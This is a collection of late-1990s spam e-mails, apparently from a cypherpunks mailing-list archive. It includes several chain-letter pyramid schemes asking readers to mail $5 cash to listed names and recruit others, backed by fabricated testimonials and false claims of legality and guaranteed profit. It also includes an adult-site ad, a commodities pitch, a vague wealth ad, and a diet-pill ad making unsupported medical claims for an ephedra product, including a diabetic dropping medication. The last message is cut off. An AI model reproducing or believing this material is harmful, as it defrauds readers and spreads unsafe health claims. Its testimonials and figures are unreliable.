The typical e-mail company charges 1-2 dollars per 1000 addresses 
mailed to. That would be a minimum of $750.00. 

Other methods could be even more expensive than using the postal service.

As you now can see, by compounding your advertising dollars with other
income opportunity seekers, it allows us to offer you a cost effective
way to cash in on a proven income generating program. And remember, we
do all the work for you. You just go to the mailbox and collect your cash.

THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you 
to come into contact with people, do any hard work, and best of all  
you never have to leave the house except to get the mail. This 
multi-level, e-mail order, marketing program works perfectly, every time. 
E-mail is the ultimate sales tool of the future, and the future is now!

If you ever wanted "THE EASY WAY" to make a lot of money...
just follow these 3 easy steps using this sure fire system!

STEP 1: Send $5.00 in "CASH" to each of the 3 distributors below. Just 
like new customers will be sending to you, once your name has been placed 
onto the mailing. Also, include a seperate sheet of paper with your name 
as it is to appear on this mailing, along with the words, " I WOULD LIKE 
TO SUBSCRIBE TO YOUR INCOME OPPORTUNITY NETWORKING SERVICE." 
Once the 3 distributors receive your $5.00 payment, they will each e-mail
us your name, verifying that you have paid them their commission. This 
service also eliminates the possibility of anyone replacing any existing 
names on the mailing.

#1:            
Dr. J.A. Johnson
400 W 76th Ste#108
Anchorage, AK 99518

#2:
Patrick Rothbauer
5217 Northview Dr.
Wichita Falls, TX 76306

#3:
Business Success  ***PLEASE NOTE***
PO Box 273           
Doring               PUT ON 2- 32cent stamps
Surrey
RH5 5YN
ENGLAND, UK

STEP 2: Send $35.00, along with your name and address as you want it to 
appear on this mailing. (You can use your full name, your initials, a 
business name or what ever you prefer) Once we receive your payment and 
verification via e-mail that you paid each distributor their commission; 
we will automatically position your name and address through all 3 
mailings until this offer has been e-mailed to 750,000 people. 

Be sure to include your e-mail address. Once we receive your payment, we 
will e-mail you our priority e-mail address. This is how you will notify us
that you received your payment from customers that want to paticipate in 
your program. This is a fool-proof system that eliminates anyone from 
using your service without paying you your $5.00 commission.
 
You can use this program as many times, and as often as you like. 
By doing this, it is possilbe to create a perpetual cash income.
And yes, we accept personal checks.

Make check payable to and send to:

Internet Marketing Sevices
2375 E.Tropicana #135
Las Vegas, NV 89119
 		 
Please note, Internet Marketing Services does not participate in your 
offer, nor do we share in your income in any way. Internet Marketing 
Services is a low cost, internet marketing provider only.

STEP 3: Go to your mailbox daily and collect your cash.

MAKING MONEY JUST DOESN'T GET ANY EASIER THAN THIS!

By now your probably asking yourself, "how much money can I really make?"

Below are the results of an Internet survey conducted by www.survey.net:

50% of the people on the Internet have made purchases, 40% have made 
several purchases, 80% like the idea of shopping on the Internet, 50% 
of those purchases are computer information related, 50% think of e-mail 
as their second most important application, 20% have made purchases 
because "I came across it and I liked it, so i bought it."

POSSIBLE EARNINGS PER 750,000 E-MAILS

1%      Response @  7,500 X $5.00 = $37,500
1/2%    Response @  3,750 X $5.00 = $18,750
1/4%    Response @  1,875 X $5.00 = $ 9,375
1/8%    Response @    938 X $5.00 = $ 4,690

HOW MANY RESPONSES DO YOU THINK YOU WILL RECEIVE?

As more and more people look for ways to create wealth and financial
security, the need for a successful income opportunity is constantly in 
demand.

This higly effective marketing program has only recently been made 
available. There are millions and millions of people who haven't yet 
received this offer.

THIS IS STILL VERY MUCH A GROUNDFLOOR OPPORTUNITY!

BUT IT WON'T BE FOR LONG!

If your fed up with the high cost of marketing and advertising then why 
not take advantage of this powerful opportunity and start creating wealth 
for you and your family.

We hope that you are one of those unique individuals that does more than
just dream about creating wealth and has the foresight to see what an 
incredible money making opportunity that this really is, requiring no
effort and a very small investment. 

JUST IMAGINE WHAT YOU AND YOUR FAMILY CAN DO WITH ALL THAT CASH!

FREE WEBSITE:

Would you like to create your own website for business or personal use?

Just go to www.freeyellow.com and follow the prompts.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jba@07979.com
Date: Mon, 10 Nov 1997 22:59:11 -0800 (PST)
To: jba@xptdc.com
Subject: Do you want to have thousands $$$$ for Christmas???
Message-ID: <199702170025.GBA531042@xptdc.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello!

My name is John Alencar; I'm a 25-year-old, I have a little business and I never read junk mail, but after receiving for so many times this one I decided to read it. 

I thought "OK, I give in, I'm going to try this.  I can certainly afford to invest $20 and, on the other hand, there's nothing wrong with creating a little excess cash." And now this became bigger than my main business, and I can tell you that my life is really better. 

Everyday for the last six weeks, my P.O. box has been overflowing with $5 bills; many days the excess fills up an extra mail bin and I've already change for a corporate size box! And I receive envelopes everyday for almost two months now and that amazes me!

Now I can pay all my bills and I'm preparing to get marriage, because now my money problems are over. I will spend my next vacation in Europe! YOU CAN DO THE SAME!!!!

I promise you, if you follow the directions in this e-mail and be prepared to eventually set aside about an hour each day to follow up (and count your money!), you will make at least as much money as we did. You don't need to be a wiz at the computer, but I'll bet you already are. If you can open an envelope, remove the money, and send an e-mail message, then you're on your way to the bank.  Take the time to read this so you'll understand how easy it is.  If I can do this, so can you!

The following is a copy of the e-mail I read:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                          This is a LEGAL, MONEY-MAKING PHENOMENON.
         PRINT this letter, read the directions, THEN READ IT AGAIN !!!

You are about to embark on the most profitable and unique program you may ever see.  Many times over, it has demonstrated and proven its ability to generate large amounts of cash.  This program is showing fantastic appeal with a huge and ever-growing on-line population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity.  It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house, except to get the mail and go to the bank!  

This truly is the lucky break you've been waiting for!  Simply follow the easy instructions in this letter, and your financial dreams will come true! When followed correctly, this multi-level marketing program works perfectly..100% EVERY TIME!

Thousands of people have used this program to:
    -  Raise capital to start their own business
    -  Pay off debts
    -  Buy homes, cars, etc.

This is your chance, don't pass it up!

             ----------------------------------------------------------------------------------
                        OVERVIEW OF THIS EXTRAORDINARY 
              ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
             ----------------------------------------------------------------------------------

This is what you will do to reach financial freedom:

You will send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail. As with all multi-level businesses, you will increase your business building your downline and selling the products (reports).  Every state in the U.S. allows you to recruit new multi- level business online (via your computer).

The products in this program are a series of four businesses and financial reports costing $5.00 each.  Each order you receive via "snail mail" will include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours!  This is the EASIEST multi-level marketing business anywhere! 

FOLLOW THE INSTRUCTIONS TO THE LETTER AND BE PREPARED TO REAP THE AGGERING BENEFITS!

******* I N S T R U C T I O N S *******

This is what you MUST do:
1. Order all 4 reports shown on the list below.

     *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR RETURN POSTAL ADDRESS (in case of a problem) to the person whose name appears on the list next to the report.
  
     *  When you place your order, make sure you order each of the four reports.  You will need all four reports so that you can save them on your computer and resell them.

     *  Usually within 10 days you will receive, via e-mail, the four reports. Save them on your computer so they will be accessible for you to send to the 1,000's of people who will order them from you.

2.  IMPORTANT-- DO NOT alter the names of the people who are listed next to each report, or their sequence on the list, in any way other than is instructed below in steps "a" through "f" or you will lose out on the majority of your profits.  Once you understand the way this works, you'll also see how it doesn't work if you change it. Remember that this method has been tested, and if you alter it, it will not work.

    a.  Look below for the listing of available reports.

    b.  After you've ordered the four reports, take this advertisement and remove the name and address under REPORT #4. This person has made it through the cycle and is no doubt counting their 50 grand!

    c.  Move the name and address under REPORT #3 down to REPORT #4.  

    d.  Move the name and address under REPORT #2 down to REPORT #3.

    e.  Move the name and address under REPORT #1 down to REPORT #2.

    f.  Insert your name/address in the REPORT #1 position.

Please make sure you copy everyone's name and address ACCURATELY!!!

3.  Take this entire letter, including the modified list of names, and save it to your computer. Make NO changes to the instruction portion of this letter.
  
4.  Now you're ready to start an advertising campaign on the WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive, and there are HUNDREDS of FREE places to advertise. Another avenue, which you could use for advertising, is an e-mail list. You can buy these lists for under $20/2,000 addresses or you can pay someone a minimal charge to take care of it for you.

5.  For every $5.00 you receive, all you must do is e-mail them the report they ordered. THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY send out, with YOUR name and address on it, will be prompt because they can't advertise until they receive the report!

------------------------------------------
AVAILABLE REPORTS
------------------------------------------
***Order Each REPORT by NUMBER and NAME***
Notes:
-  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
-  Make sure wrapping it in at least two sheets of paper conceals the cash  
 - On one of those sheets of paper, include (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your postal address.   It is suggested that you rent a mailbox addressed to an assumed "company" name to avoid your name and home address being sent to millions of people. For an example, see the "company" names listed below.

REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

ORDER REPORT #1 FROM:  

                JBBA Enterprises, Inc.
	2818 Turnberry Dr. # 421
                Arlington, TX  76006-2329

REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

	TAMARA'S
	1550/F3 McMullen Booth Road
	Suite 224
	Clearwater, FL 34619


REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

	Netwares
	P.O. Box 309
	Vestal, NY 13851-0309

REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:

	Information Services (D.B.)
	11006 4th Street North
	Box 160, Dept. A	
                St. Petersburg, FL 33716

         --------------------------------------------------------------------------------------------------
         HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
         --------------------------------------------------------------------------------------------------

Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people to participate on your first level. (Placing a lot of FREE ads on the Internet will EASILY get a larger response.) Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members.  Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with $5				$50
2nd level--10 members from those 10 ($5 x 100)		$500
3rd level--10 members from those 100 ($5 x 1,000)		$5,000
4th level--10 members from those 1,000 ($5 x 10,000)	$50,000
                                           THIS TOTALS------------	$55,550

Remember friends, this assumes that the people who participate only recruit 10 people each.  Think for a moment what would happen if they got 20 people to participate!  Most people get 100's of participants! THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can afford $20). You obviously already have an Internet connection and e-mail is FREE!

 *******TIPS FOR SUCCESS*******

 *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow the directions accurately.

 *  Send for the four reports IMMEDIATELY so you will have them when the orders start coming in because:

    When you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, also Code of Federal Reg. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program. If you follow the instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

 *******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, continue advertising until you do.  Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front of a DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.  If you want to generate more income, send another batch of e-mails and start the whole process again!  There is no limit to the income you will generate from this business!

 *******T  E  S  T  I  M  O  N  I  A  L  S*******

     This program does work, but you must follow it EXACTLY!  Especially the rule of not trying to place your name in a different position, it won't work and you'll lose a lot of potential income.  I'm living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to financial security. 
          Sean McLaughlin, Jackson, MS

     My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris about receiving "junk mail." I made fun of the whole thing, spouting my knowledge of the population and percentages involved.  I "knew" it wouldn't work. Doris totally ignored my supposed intelligence and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was shocked!  I was sure that I had it all figured and that it wouldn't work.  I AM a believer now. I have joined Doris in her "hobby."   I did have seven more years until retirement, but I think of the "rat race" and it's not for me. We owe it all to MLM.
           Frank T., Bel-Air, MD

    The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time. I was approached several times before I checked this out. I joined just to see what one could expect in return for the minimal effort and money required.  To my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.
           Sincerely yours, Phillip A. Brown, Esq.

    Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. Boy, was I surprised when I found my medium-size post office box crammed with orders!  For awhile, it got so overloaded that I had to start picking up my mail at the window. I'll make more money this year than any 10 years of my life before. The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return.
         Mary Rockland, Lansing, MI

     This is my third time to participate in this plan. We have quit our jobs, and will soon buy a home on the beach and live off the interest on our money.  The only way on earth that this plan will work for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity.  Good luck and happy spending!
           Charles Fairchild, Spokane, WA

ORDER YOUR REPORTS TODAY AND GET 
STARTED ON YOUR ROAD TO 
FINANCIAL FREEDOM!!!

It really works, I already made two trips with the extra income, and I can make sure that you will do the same....

Good look for you, the only thing you need to do is to get your reports and start receiving $5 bills in your mail box.

John Alencar..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Turn.on.Inn@25152.com
Date: Tue, 11 Nov 1997 11:57:58 -0800 (PST)
To: You@mf01.iij.ad.jp
Subject: Check in with us!
Message-ID: <This message contains adult themes.  If you are under 18 or are offended by such material please delete this message immediately!>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE></P><P ALIGN=CENTER><FONT  COLOR="#ff0000" SIZE=5><B>This email contains adult themes.  If you will be offended,</FONT><FONT  COLOR="#00ffff" SIZE=5> click here!<FONT  COLOR="#00ffff" BACK="#000000" SIZE=3>










http://www.turnoninn.com<FONT  COLOR="#00ffff" SIZE=3>



</FONT></FONT><FONT  COLOR="#ff0080" BACK="#FFFFFF" SIZE=3>If you want to get away from it all then check into the Turn On Inn.  We have all that you want and more to turn you on.  This will be the best cyber get-away you've ever experienced!


</FONT><FONT  COLOR="#000000" SIZE=3></B>
click here to check in!
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<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: healthy1@bellatlantic.net
Date: Tue, 11 Nov 1997 08:28:48 -0800 (PST)
To: healthy1@bellatlantic.net
Subject: ....GUILT FREE HOLIDAYS !!
Message-ID: <199711111618.LAA28931@candy.micro-net.net>
MIME-Version: 1.0
Content-Type: text/plain


*** All Natural Energizer 
*** Reduce Sugar Cravings	
*** Burn fat 
*** 100% safe and natural  
*** Preferred by fitness & nutrition experts	

Are you concerned about your health and weight?  Have you tried dieting...and 
gained it all back?  Are you worried about the upcoming holidays...and the food 
that goes with them?  If you answered yes to any of these questions, then read 
on -- this message is for you!  

Many people want and need help in dealing with unwanted extra pounds...without
the serious side-effects from the recently recalled weight loss prescription drugs.  I 
found that there is finally a safe way to trim down and shed unwanted fat with an 
all natural herbal energizer and super fat burner called Thermo-Lift.  I take one
Thermo-Lift capsule twice a day... and that's it!  Sure, exercise and daily activity
will contribute to the results you achieve, but they are not required!  And just 
think... no messy powders or mixes.  No starvation.  No rationing out your food by
the ounce.  Thermo-Lift improves your metabolism so your body burns the excess 
fat!  I actually noticed my clothes fitting better before I noticed the pounds coming off.

METABOLISM IS THE KEY
Anyone who has struggled to lose weight will tell you that diets alone don't work! 
That's because your size, or your weight, has more to do with your metabolism than 
what you eat.  Changes Int'l, Inc. has designed a product that works several ways 
to help you achieve maximum results from your weight-loss program.  This unique 
blend of herbs, botanicals, and patented Chromium Picolinate improves your 
metabolism so your body relies more on stored body fat and less on stored proteins.

STOP THE YO-YO CYCLE
On the typical diet, up to 30% of lost weight is muscle!  Losing muscle lowers your 
metabolic rate and slows the burning of calories.  This lower metabolic rate also 
makes it hard to keep the lost pounds from creeping back.  Result:  The Yo-yo
syndrome in which weight is repeatedly lost and then regained!  You know, up and
down...up and down.  After each yo-yo cycle the proportion of fat actually increases!

To break this vicious cycle, it is important to lose only fat while maintaining...or even
increasing the muscle tone!  Our unique formula is a specialized combination of herbs 
and botanicals coupled with the very best source of chromium available.  Patented
Chromium Picolinate, a bio-active chromium with numerous clinically proven benefits, is
vital to good health and is essential for the efficient functioning of insulin.  Studies 
have shown chromium nutrition to be an effective part of LONG-TERM fat loss programs!

HERE'S EVIDENCE!
Several double-blind crossover studies conducted along with clinical and laboratory
tests at a leading university and hospital have proven that the ingredients in 
Thermo-Lift are effective.  Without changing dietary or exercise habits over a 
6-week period, subjects in separate studies lost an average of 23% body fat or 
approximately 4.4 pounds of fat, and increased lean body mass by 1.5 pounds.  
People over the age of 46 did better and women seemed to do the best!  People 
with elevated cholesterol levels averaged a 10% drop in LDL cholesterol! 

WHAT'S IN THERMO-LIFT?
Chromium Picolinate, Bee Pollen, Astralagus, Licorice Root, Ginger Root, Rehmannia
Root, Siberian Ginseng, Ma Huang Extract, Gotu Kola, Bladderwrack, White Willow 
Bark, Guarana Extract and Reishi Mushroom.

THE INGREDIENTS
Chromium Picolinate:  Three million readers of Cosmopolitan read a discussion of 
   Chromium Picolinate's value for dieters under the headline, "A Miracle Mineral?"  
   The cholesterol-reducing effect of Chromium Picolinate was highlighted in Ladies
   Home Journal.  Longevity magazine has praised it as a safe alternative to 
   anabolic steroids.  A large number of publications for athletes and health food
   shoppers have also run feature articles on Chromium Picolinate, including:  
   Prevention, Today's Living, Total Health, and Muscular Development.  
Bee Pollen:  Effective for combating fatigue, depression, and colon disorder.
Licorice Root:  Beneficial for hypoglycemia, stress, colds, bronchitis, and 
   inflammation.  
Ginger Root:  Used for colitis, nausea, gas, indigestion, hot flashes, and menstrual 
   cramps.
Rehmannia Root:  Used to treat anemia, fatigue, and to promote the healing of bones.  
Siberian Ginseng:  Good source of energy and endurance, as well as physical and 
   mental vigor.  
Ma Huang Extract:  Helps to increase energy, improves circulation, controls appetite
   and is used as a decongestant.  The Chinese use it for treatment of asthma and 
   other respiratory disorders.  
Gotu Kola:  Aids in the elimination of excess fluids, fights fatigue, and depression. 
Bladderwrack:  Promotes a healthy thyroid; stimulates blood circulation.  
White Willow Bark:  Reduces pain, swelling, and fever; good anti-inflammatory; 
   helps insomnia.  
Guarana Extract:  Increases mental alertness and fights fatigue - a very high energy
   source.  
Reishi Mushroom:  Strengthens the immune system and is used to help diverse 
   problems such as allergies, chronic fatigue syndrome, diabetes, and more.  Improves 
   memory and fights stress.  

TESTIMONIALS
     "My name is Denita Kellett.  In just 18 months I have been able to lose 212
pounds and over 52 inches over my entire body.  I have a non-functioning 
thyroid and for years have fought a losing battle with a bad weight problem.  
Then I found Thermo-Lift.  This product has greatly enriched my life and my health. 
I wish everybody could feel as good as I feel.  All I can say is, thanks 110% 
Thermo-Lift for what you've done for me and my life."  
     -Denita went from 340 pounds to 128 pounds in 18 months.  Before and after
      pictures available!  (Denita was featured on the Maury Povich show May 12, 1997.)

     "My name is Misty McDonald.  I'm a twenty-two year old working mother of two 
children.  In just five months I have lost an amazing seventy pounds.  I dropped an
incredible sixteen dress sizes!  At 180 pounds, I was very unhappy and depressed.
I felt very insecure about myself and really didn't like to go out.  Thank you 
Thermo-Lift for changing my life."
     -Misty went from 180 pounds to 110 pounds in only 5 months.  Pictures available!

     "...I have been examined by my doctor and my weight loss has blown his mind!    
People that I used to work with and even some family members, have trouble 
recognizing me.  I wish everyone that is overweight could be sent my way so I
could talk to them.  Maybe I could be of help to them, after losing 150 pounds so far."
     -Kenny went from 350 pounds to 200 pounds.  Pictures available!
  
     "I started taking Thermo-Lift March 1st of this year.  My sister just kept after me.  
I felt happy eating, and did not want to change my life, so I didn't.  I just took
Thermo-Lift, and kept eating.  I noticed my clothes getting looser on me, but I 
haven't kept a scale in my house for over ten years.  The middle of May, I 
found a commercial scale and weighed myself.  I had lost 50 pounds, in just 
2-1/2 months!  I celebrated by buying myself a new pair of jeans.  I went from a 
size 48 waist to a size 42!
     The best part is that I am a non-insulin dependent diabetic, and was taking 10 mg 
of diabeta every day to control my blood sugar.  I monitor my blood sugar myself, and 
with Thermo-Lift my sugar level went below 70 for the first time in years.  My doctor has
now taken me off my medication.  I thank my sister every week for turning me on to 
Thermo-Lift."
     -Bernie has lost 60 pounds so far ...and is still going!

     "Over the last 10 years, I have tried a variety of weight loss methods, spent 
thousands of dollars and failed at all of them.  By December '95, I was the heaviest I
had ever weighed - 235 pounds.  I had no energy.  My self-esteem had hit rock
bottom... Then I was introduced to Changes Int'l and Thermo-Lift and have never
looked back!  My energy is back and in total I have lost 70 pounds and gone from a
size 22 to a size 12.  The most amazing part is how easy it was!"
      -Becky went from 235 pounds to 165 pounds.  Pictures available!

NOW IT'S YOUR TURN
Experience the incredible changes Thermo-Lift can make in your life!
Enjoy the holidays... without feeling guilty about every tasty bite!
Over 90% of our customers report feeling a change within 2-3 days!  Even if it
took you 2 to 3 weeks... wouldn't it be worth it?

Your satisfaction is 100% guaranteed or your purchase price (less S&H) will be 
cheerfully refunded upon return of the unused portion.

TAKE ACTION RIGHT NOW! 
Only by starting Thermo-Lift immediately can you begin to feel the boost in energy
and the increased fat burning efficiency of your new metabolic rate!  Be prepared 
to experience a bit of a "spring" in your step when you use Thermo-Lift and 
remember...if you find it curbing your appetite, don't blame me.  You were warned!  :-)  

TO ORDER THERMO-LIFT
Complete the form below and mail it with your check or money-order payable to:

Rella Bourn
526 Cedar Ave.
Vinton, VA 24179-3224

Questions about the product or about the status of your order?? 
Call me at 540-776-5809

Also available -- Changes NOW.  An alternative supplement  for those who 
desire weight loss without the energizing effects of Thermo-Lift.  Changes NOW
is a revolutionary combination of fibers, enzymes, vitamins, and minerals designed
to attract and hold fats, helping to remove them from the digestive tract.  (Choose
Changes NOW if you have high blood pressure or heart problems.)  

Note:  Thermo-Lift and Changes NOW can be taken together to accelerate weight
loss.  Both bottles contain a one month supply of product.    
 
          -----------------CUT  HERE--------------------

YES!  I want ___ bottles of Thermo-Lift (60 capsules) at $29.95 each:   $_______                

YES!  I want ___ bottles of Changes NOW (90 capsules) at $29.95 ea.: $_______
 
Shipping and Handling	
  ($3.00 for 1-3 bottles, add $1.00 for each additional bottle):	     $     3.00
 
Total Amount Enclosed (Payable to Rella Bourn):                 $ _________
 

Ship To:
Name _________________________________________
 
Address _______________________________________
 
City, State, Zip __________________________________
 
Phone _________________________________________   

E-Mail Address __________________________________
Code CEG

Thank you for your order!  Drop us a line and let us know how you like it!

***************************************************
The information contained here was derived from many medical, nutritional and 
media sources and is for informational and educational purposes only.  No medical
claims are implied or intended. Testimonies are offered voluntarily and are not paid 
for.  Your results may vary.  Consult a physician before using Thermo-Lift if you 
have high blood pressure, are pregnant, lactating, or are being treated for a 
medical condition.     
***************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toads70@hotmail.com
Date: Thu, 13 Nov 1997 12:36:38 -0800 (PST)
To: Friend@public.com
Subject: IMMEDIATE RELEASE:  El Nino market update
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>
Learn how to take advantage of the potential effects of El Nino on the agricultural commodities markets!!

El Nino is a weather system forecasted by the National Weather Service to cause weather changes that could affect global agricultural production over the next 9 to 10 months.  El Nino is associated with droughts in the Western Pacific and irregular temperatures and rainfall across North America, South America, Central America and Africa. 

Some weather experts say the 1997/1998 El Nino could be the worst one in 150 years.  The 1982-1983 El Nino was the strongest of the century, spreading drought, floods, and extreme weather conditions across vast stretches of the globe.  Total combined losses to property and agriculture from related weather catastrophes are estimated to have exceeded $10 billion.

If the 1997/1998 El Nino comes close to the effects of the 1982/1983 El Nino there could be many opportunities in the futures and options market.

The price moves of agricultural commodities for the 1982 / 1983 growing season were as follows:

Soybeans  10/82- $5.18/bushel  to  9/83- $9.60/bushel     +85.32%	$22,100 gain per contract
Corn            9/82- $2.12/bushel  to 8/83-  $3.76/bushel     +73.67%	$8,200  gain per contract
Wheat        10/82- $3.00/bushel  to  8/83-  $4.19/bushel     +39.66%	$5,950  gain per contract
Cocoa          7/82-  $1275/ton      to  7/83-  $2450/ton         +92.99%	$11,750 gain per contract
Sugar           9/82-  $5.85/cents/lb  to 5/83- $13.47cents/lb  +104.09%	$8534    gain per contract

Minimum Investment $6000---Please only serious inquiries.

Click Here To Receive Free Information Package






(DISCLAIMER)
Past performance is not necessarily indicative of future results.  You could lose part or all of your investment.  However, when purchasing options, your risk is predetermined to the amount returned to the client.  Options do not move dollar for dollar with the underlying futures contract until expiration date.  No implication is being made that any client has or will obtain such a profit.  This advertisement contains a mathematical example of leverage in the commodity futures





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: powerbiz@valumall.com
Date: Wed, 12 Nov 1997 09:28:13 -0800 (PST)
To: investor@wealth.com
Subject: me again
Message-ID: <944099045634QHL76615@com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       43 Year Old Man Discovers the 
        Secret to Permanent Wealth!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

He has discovered the powerful secret of how 
to get paid every time someone turns  on a 
light bulb, turns on the air conditioner, or 
even turns on the TV!  Just imagine that!  
And....  

$215 BILLION Discovery can shove more money in 
your bank accounts than you could ever imagine
-- NOW!

Look, there isn't time for hype or a long 
letter filled with catchy sales lingo, 
or promises..........  

All you have to do is decide now to visit 
our website, however.... fair warning -- 
visiting our website may suddenly cause you 
to take charge of your life -- NOW!

So don't visit our site now unless you are 
ready to be amazed and convinced that this 
opportunity is for YOU!

To take a peek into what will make you RICH 
beyond your dreams, just visit our website 
right now at: http://www.mmaildirect.com/~valumall

Right now, imagine.... your own power company, 
yes, yours now by instantly visiting: 
http://www.mmaildirect.com/~valumall


For AMERICA ONLINE USERS:
CLICK HERE!

Note: This business is HOT! If you find the
site busy due to volume, try our mirror site:
http://207.90.164.134/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I was given your name as someone likely to be 
interested in becoming wealthy. If this was 
an error, please go to:
http://www.mmaildirect.com/~valumall/remove.htm
You will be put on a list of those who do not 
wish to become financially independent. Thanks!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 34972880@html.com
Date: Tue, 11 Nov 1997 21:09:47 -0800 (PST)
To: 9876543@html.com
Subject: Your Christmas money is on its way!
Message-ID: <236587456982.GAA48925@vitssertas.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear online friend, 

I have received this LETTER at least three times in the last 2 months, 
so I gave in and said "Well, lets see if it really works".  To keep a 
long story short,  I have received over $12,000 in cash in less than 4 
weeks. I am now and forever a true believer of this money making 
concept. 
"What an Amazing Machine the computer is!".

John B,   Blue Wind Resources,  Iowa 
************************************************************************

You are about to make at least $50,000 in less than 90 day's. Read the 
enclosed program:  THEN READ IT AGAIN!

The enclosed information is something I almost let slip through my 
fingers. Fortunately,  sometime later I re-read everything and gave some 
thought and study to it.

My name is Chris Eckerson. Two years ago, the corporation where I had 
worked twelve years down-sized and my position was eliminated. After 
unproductive job interviews, I decided to open my own business. Over the 
past years, I encountered many unforeseen financial problems. I owed my 
family, friends, and creditors over $35,000. The economy was taking a 
toll on my business and I just couldn't seem to make ends meet. I had to 
refinance and borrow against my home to support my family and struggling 
business. I truly believe it was wrong for me to be in debt like this.

AT THAT MOMENT something significant happened in my life and I am 
writing to share my experience in hopes that this will change your life 
financially......FOREVER!

In mid-March, I received this program via email. For six months (prior 
to receiving this program) I had been sending away for information on 
various business opportunities but the programs I received were not, in 
my opinion, cost effective. They were either too difficult for me to 
comprehend or the initial investment was too much of a risk to see if 
they worked or not. One claimed I'd make a million dollars in one 
year...it didn't tell me I'd have to write a book to make it. 

So, as I was saying, in March I received this program. I didn't send for 
it nor ask for it, they just got my name off a mailing list.  THANK 
GOODNESS FOR THAT!  After reading it several times to make sure I was 
reading it correctly, I couldn't believe my eyes. Here was a MONEY-
MAKING PHENOMENON. I could invest as much as I wanted to start, without 
putting myself further in debt. After I got a pencil and figured it out, 
I knew that in the WORST possible case I would still get my money back.  
After determining that the program is LEGAL and NOT A CHAIN LETTER, I 
decided.....why not?

Initially, I sent out 10,000 e-mails. It cost me about $15.00 for my 
time on-line. The great thing about e-mail is that I didn't need any 
money for printing to send out the program, only the cost to fill my 
orders. I am telling you like it is and I hope it doesn't turn you off,  
but I promised myself that I would not  "rip anyone off" no matter how 
much money it cost me!

In less than one week, I started to receive orders for REPORT #1.  By 
April 13th, I had received 26 orders for REPORT #1.  When you read the 
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 
